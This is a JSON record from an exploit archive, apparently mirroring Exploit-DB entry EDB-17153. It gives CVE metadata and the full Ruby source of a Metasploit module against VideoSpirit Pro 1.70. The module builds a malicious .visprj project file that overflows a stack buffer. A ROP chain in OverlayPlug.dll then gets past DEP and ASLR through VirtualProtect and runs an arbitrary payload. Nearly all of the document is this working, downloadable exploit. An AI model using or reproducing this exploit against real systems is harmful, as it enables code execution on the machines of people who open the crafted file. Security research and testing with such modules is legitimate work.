{"exploit":{"id":"EDB-17153","name":"VeryTools VideoSpirit Pro 1.70 - '.visprj' Local Buffer Overflow (Metasploit)","description":"VeryTools VideoSpirit Pro 1.70 - '.visprj' Local Buffer Overflow (Metasploit)","cves":["CVE-2011-0500","CVE-2011-0499"],"author":"Metasploit","published":"2011-04-11","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17153","path":"exploits/windows/local/17153.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17153.rb","vulnerabilities":[{"id":"CVE-2011-0500","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in VideoSpirit Pro 1.6.8.1, 1.68, and earlier; and VideoSpirit Lite 1.4.0.1 and possibly other versions; allows user-assisted remote attackers to execute arbitrary code via a VideoSpirit project (.visprj) file containing a valitem element with a long \"value\" attribute, as demonstrated using a valitem with the mp3 name.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-0500","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-0500"},"updatedAt":"2024-09-16T17:04:14.043Z","retrievedAt":"2026-11-26T12:09:54.215Z","stale":false,"error":null},{"id":"CVE-2011-0499","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in VideoSpirit Pro 1.6.8.1 and possibly earlier versions, and VideoSpirit Lite 1.4.0.1 and possibly other versions, allows user-assisted remote attackers to execute arbitrary code via a VideoSpirit project (.visprj) file containing a valitem element with a long \"name\" attribute. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-0499","cvss":null,"updatedAt":"2024-08-06T21:58:24.513Z","retrievedAt":"2026-11-26T12:59:42.657Z","stale":false,"error":"Some CVE details could not be refreshed"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17153.png?v=2","url":"https://exploitbin.com/exploits/EDB-17153","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17153/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17153/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: videospirit_visprj.rb 12305 2011-04-11 23:32:41Z sinn3r $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::FILEFORMAT\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'VeryTools Video Spirit Pro <= 1.70',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in Video Spirit <= 1.70.\n\t\t\t\tWhen opening a malicious project file (.visprj), a stack buffer overflow occurs,\n\t\t\t\tresulting in arbitrary code execution.\n\t\t\t\tThis exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Acidgen',      #found the vulnerability\n\t\t\t\t\t'corelanc0d3r', #rop exploit + msf module\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 12305 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'        => 800,  #0x320 bytes - avoid marking wrong page as RWX\n\t\t\t\t\t'BadChars'     => \"\\x00\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x21\\x22\\x26\\x27\\x2f\\x3c\\x3e\",\n\t\t\t\t\t'DisableNops'  => 'True',\n\t\t\t\t},\n\t\t\t'Platform' => 'win',\n\t\t\t'Targets'  =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'OffSet'      => 168,\n\t\t\t\t\t\t\t'OffSetToRop' => 952,\n\t\t\t\t\t\t\t'Ret'         => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'Apr 11 2011',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('FILENAME', [ true, 'VideoSpirit project name.',  'msf.visprj']),\n\t\t\t], self.class)\n\tend\n\n\tdef junk\n\t\treturn rand_text_alphanumeric(4).unpack(\"L\")[0].to_i\n\tend\n\n\tdef exploit\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n\t\theader = %Q|\n<version value=\"1\" />\n<track>\n<type value=\"0\" />\n<type value=\"4\" />\n<type value=\"2\" />\n<type value=\"1\" />\n<type value=\"7\" />\n</track>\n<track0 />\n<track1 />\n<track2 />\n<track3 />\n<track4 />\n<clip />\n<output typename=\"AVI\" keepaspect=\"0\" presetquality=\"0\">\n<type0 enable=\"1\">\n|\n\n\t\tfooter = %Q|\n<valitem name=\"320*240(4:3)\" value=\"320*240\" />\n<valitem name=\"30\" value=\"30\" />\n<valitem name=\"16000k\" value=\"16000k\" />\n</type0>\n<type1 enable=\"1\">\n<valitem name=\"mp3\" value=\"libmp3lame\" />\n<valitem name=\"128k\" value=\"128k\" />\n<valitem name=\"44100\" value=\"44100\" />\n<valitem name=\"2 (Stereo)\" value=\"2\" />\n</type1>\n<type2 enable=\"0\" />\n</output>\n|\n\t\tprint_status(\"Preparing payload\")\n\n\t\tpivot = [target.ret].pack('V')\n\n\t\trop_gadgets =\n\t\t[\n\t\t\t# one non-ASLR module is enough for generic ASLR & DEP bypass !\n\t\t\t# pvefindaddr rop 'n roll\n\t\t\t# First, grab VirtualProtect ptr\n\t\t\t0x10065292,  # POP EAX # RETN      [OverlayPlug.dll]\n\t\t\t0x106F4244,  # IAT entry + offsqet (bad char friendly)\n\t\t\t0x10019762,  # POP EBP # RETN      [OverlayPlug.dll]\n\t\t\t0xEFEFEFF0,  # bye bye offset\n\t\t\t0x10084977,  # ADD EBP,EAX # RETN  [OverlayPlug.dll]\n\t\t\t0x100684B8,  # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\t0x1005E114,  # MOV EAX,DWORD PTR DS:[EAX] # RETN  [OverlayPlug.dll]\n\t\t\t0x10016A56,  # XCHG EAX,ESI         [OverlayPlug.dll]\n\n\t\t\t# set size\n\t\t\t0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]\n\t\t\t0x10101330,  # 0x320 bytes - change this if needed, but don't make it too big :)\n\t\t\t0x10019762,  # POP EBP # RETN       [OverlayPlug.dll]\n\t\t\t0xEFEFEFF0,  # boo\n\t\t\t0x10084977,  # ADD EBP,EAX # RETN   [OverlayPlug.dll]\n\t\t\t0x10053E4C,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]\n\t\t\t0x10066D8C,  # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\n\t\t\t# set NewProtect to 0x40\n\t\t\t0x100E3D4A,  # XOR EAX,EAX # XOR EDX,EDX # RETN  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\t0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\t0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\t0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\t0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\tjunk,\n\t\t\t0x10030C8B,  # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4  [OverlayPlug.dll]\n\t\t\tjunk,\n\n\t\t\t# write pOldProtect to .data section\n\t\t\t0x1001AB51,  # POP ECX # RETN  [OverlayPlug.dll]\n\t\t\tjunk,\n\t\t\t0x10117030,  # RW\n\n\t\t\t# EDI : ROP NOP\n\t\t\t0x10057090,  # POP EDI # RETN  [OverlayPlug.dll]\n\t\t\t0x10057091,  # ROP NOP\n\n\t\t\t# pReturn2Payload\n\t\t\t0x100BC8E8,  # PUSH ESP # MOV EAX,ESI # POP ESI # RETN  [OverlayPlug.dll]\n\t\t\t0x10016A56,  # XCHG EAX,ESI # RETN  [OverlayPlug.dll]\n\t\t\t0x1003C946,  # ADD EAX,0A # RETN    [OverlayPlug.dll]\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1003C946,\n\t\t\t0x1001FDBD,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]\n\n\t\t\t0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]\n\t\t\t0x41414141,\n\n\t\t\t# go\n\t\t\t0x10066F84,  # PUSHAD # RETN        [OverlayPlug.dll]\n\t\t].pack(\"V*\")\n\n\n\t\tbuffer = \"<valitem name=\"\n\t\tbuffer << '\"'\n\t\tbuffer << rand_text_alphanumeric((target['OffSet']))\n\t\tbuffer << rand_text_alphanumeric(4) #nseh\n\t\tbuffer << pivot\n\t\tbuffer << rand_text_alphanumeric((target['OffSetToRop']))\n\t\tbuffer << \"\\x91\\x70\\x05\\x10\" * 10   #rop nop, offset Win7\n\t\tbuffer << rop_gadgets\n\t\tbuffer << make_nops(150)\n\t\tbuffer << payload.encoded\n\t\tbuffer << rand_text_alphanumeric(4000)\n\t\tbuffer << '\"'\n\t\tbuffer << ' value=\"msmpeg4v2\"'\n\t\tbuffer << \"/>\"\n\t\tbuffer << \"\\n\"\n\n\t\tfilecontent = header + buffer + footer\n\n\t\tprint_status(\"Writing payload to file\")\n\n\t\tfile_create(filecontent)\n\n\tend\n\nend","sha256":"42eeefacf0aaf22ab70ee6794cc493f7981ab3ec6c913e0bfd9db6843c282efc","bytes":6286,"fetchedAt":"2026-11-26T12:09:49.424Z","encoding":"utf-8 (display only; download retains original bytes)"}